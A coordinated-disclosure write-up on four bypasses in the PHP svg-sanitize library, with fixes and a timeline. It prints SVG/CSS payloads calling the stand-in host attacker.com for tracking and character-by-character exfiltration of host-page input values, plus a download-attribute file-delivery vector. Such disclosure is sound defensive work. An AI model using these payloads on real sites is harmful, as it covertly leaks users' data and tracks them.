Four ways through the filter: CSS injection and remote references in svg-sanitize
The sanitizer checks names — element names, attribute names — but not meaning. A whitelisted <style> whose text nobody reads, a remote-reference option that only recognizes one spelling of "remote", a regex that insists on quotes, and a download attribute nobody questioned: four small gaps, one library, 45 million downloads.
Analysis of enshrined/svg-sanitize ≤ 0.22.0 (any PHP version — logic bugs in the sanitizer). Fixed in 1.0.0. Published as GHSA-qhmf-972w-m957 under coordinated disclosure. Sibling findings: GHSA-9rjx-3jch-6vjf (stored XSS) and GHSA-v383-3rw5-q8rf (DoS crash).
Summary
This is the third and final advisory in our svg-sanitize series. The first abused what the sanitizer parsed (DTD entities), the second what it removed (DTD attribute declarations). This one is about what it never looked at in the first place: four independent ways to smuggle active or remote-loading content through a file that passes sanitization "clean."
None of the four is a parser bug — each is a design gap in the sanitizer's own checks, reproducible on any PHP version against every deployment of enshrined/svg-sanitize ≤ 0.22.0: 45.2M Packagist downloads, the WordPress Safe SVG plugin (1M+ active installs), TYPO3, Drupal modules, and 90+ dependents. Individually modest, together they dismantle two promises the library makes on its tin: that output carries no active content, and that removeRemoteReferences(true) removes remote references.
Vector 1 — <style>: whitelisted element, uninspected content
The <style> element is on the sanitizer's element whitelist — SVG would be half-useless without it. But while every attribute in the document is scrutinized, the text content of <style> is never inspected at all. Whatever CSS the attacker writes is serialized back out verbatim:
<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(https://attacker.com/steal.css); svg { background: url(https://attacker.com/track.png) } </style>
<rect width="200" height="60" fill="#d33"/>
</svg>
Both lines survive sanitize() unchanged. The consequences go well beyond a tracking pixel. When the SVG is rendered inline in an HTML page, its stylesheet joins the page's cascade — and CSS attribute selectors can read the host document, one character per request:
/* inline SVG: the stylesheet's selectors reach the HOST page's DOM */
input[value^="a"] { background: url(https://attacker.com/leak?char=a) }
input[value^="b"] { background: url(https://attacker.com/leak?char=b) }
/* ...one rule per character: a secret input value leaks out char by char */
That is the classic CSS exfiltration primitive, delivered by the very file the sanitizer certified. The same channel loads external stylesheets and beacons opens/views. As with our earlier finding, the <img src> context is not affected — an SVG loaded as an image gets no cascade into the host page.
Vector 2 — <image href>: invisible to removeRemoteReferences
The library's own defense against exactly this class of problem is the removeRemoteReferences(true) option, which walks attributes and asks hasRemoteReference() whether each value points outward. That function recognizes one shape of remote reference — the url(...) CSS function. A bare URL sitting in an href attribute is not that shape, so this passes with the option enabled:
<image href="https://attacker.com/pixel.png" width="1" height="1"/><!-- survives sanitize() with removeRemoteReferences(true):
hasRemoteReference() only matches the url(...) CSS function -->
The sanitized SVG, once viewed, phones home: a tracking pixel with IP disclosure and session correlation, from a file explicitly processed with remote-reference removal switched on.
Vector 3 — the regex that required quotes
Even the references hasRemoteReference() does look for can slip past it. The detection regex demands that the URL inside url(...) be quoted:
// hasRemoteReference() — the remote-URL detector
~^url\(\s*[\'\"]\s*(.*)\s*[\'\"]\s*\)$~xi // quotes REQUIRED on both sides
CSS does not require those quotes. Drop them and the pattern no longer matches — the value is, as far as the sanitizer is concerned, not a remote reference at all:
<rect width="200" height="60" fill="url(https://attacker.com/track)"/><!-- unquoted url(): regex never fires, remote reference survives -->
Quoted, the identical URL is stripped; unquoted, it sails through. One punctuation detail decides whether the security option exists.
Vector 4 — <a download>: attacker-named file delivery
The download attribute sits in the sanitizer's allowed-attributes whitelist. That turns any sanitized SVG into a file-delivery mechanism: a link that, when clicked, saves attacker-chosen content under an attacker-chosen filename:
<a download="credentials.html" href="data:...">
<rect width="200" height="60" fill="#d33"/>
<text x="100" y="35" fill="#fff" text-anchor="middle">CLICK ME</text>
</a>
A direct data:text/html payload is caught by isHrefSafeValue() — the href check does its job there. But the safe-listed schemes include data:image/png and data:image/svg+xml, and that is where the nuance bites: an SVG is an active format, and a polyglot or an SVG carrying JavaScript keeps its data:image/svg+xml label while remaining a live document. The victim clicks a trusted-looking graphic, gets a download named by the attacker, opens it — and script runs in the file:/// origin with access to local files.
Four vectors, one root cause
| Vector | What's checked | What slips through | Impact |
|---|---|---|---|
<style> content | element name (whitelisted) | its entire text content | @import, CSS exfiltration of the host page, tracking |
<image href> | only url(...)-shaped values | bare remote href | tracking pixel, IP/session disclosure |
unquoted url() | regex requiring quotes | legal unquoted syntax | same remote loads, option enabled |
<a download> | attribute name (whitelisted) | filename + data-URI payload | attacker-named downloads, file:/// script execution |
Different code paths, identical design assumption: sanitize by name — element names, attribute names, one regex's idea of syntax — and never re-examine what the value actually does. Every check validated the shape of the container; nobody looked at the contents.
The official score is CVSS 3.1: 3.5 (Low) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N — and we agree with the shape of it: an upload-capable account is needed (PR:L), the CSS-exfiltration vector fires only when the SVG is rendered inline, and the ceiling is information disclosure and tracking, not code execution on the server (the advisory also discusses a 4.3 variant; we report the official 3.5). Two things keep it worth fixing promptly anyway: it silently defeats removeRemoteReferences(true) — an option operators enable specifically to prevent this — and the exfiltration vector reads the host page, which is precisely where a sanitized, "safe" user upload tends to be inlined.
The fix
Patched upstream in 1.0.0. The advisory suggested closing each gap at the layer that owns it:
- Sanitize or strip
<style>text content — treat CSS as content, not as an opaque blob inside a whitelisted element. - Fix remote-reference detection — extend the
hasRemoteReference()regex to accept unquotedurl(), and check barehref/srcvalues for^https?://. - Remove or filter the
downloadattribute — a sanitizer that neutralizes active content should not gift-wrap file delivery.
Disclosure timeline
- The four vectors were found by Denis Rostilov during an ExPatch audit of svg-sanitize's attribute and content pipeline — the same audit series that produced GHSA-9rjx-3jch-6vjf and GHSA-v383-3rw5-q8rf.
- Reported privately to the maintainer via GitHub Security Advisories, with PoCs for each vector and the suggested fixes.
- Fix shipped upstream in 1.0.0.
- GHSA-qhmf-972w-m957 published; ExPatch Security Research / ExPatch-LLC credited as reporter. No CVE was assigned — the GHSA is the identifier.
- 2026-09-25 — this writeup.
References
- GHSA-qhmf-972w-m957 — the official advisory.
- GHSA-9rjx-3jch-6vjf — sibling writeup: stored XSS via DTD entity collision.
- GHSA-v383-3rw5-q8rf — sibling writeup: DoS via DTD attribute declaration crash.
- enshrined/svg-sanitize on Packagist — 45.2M downloads.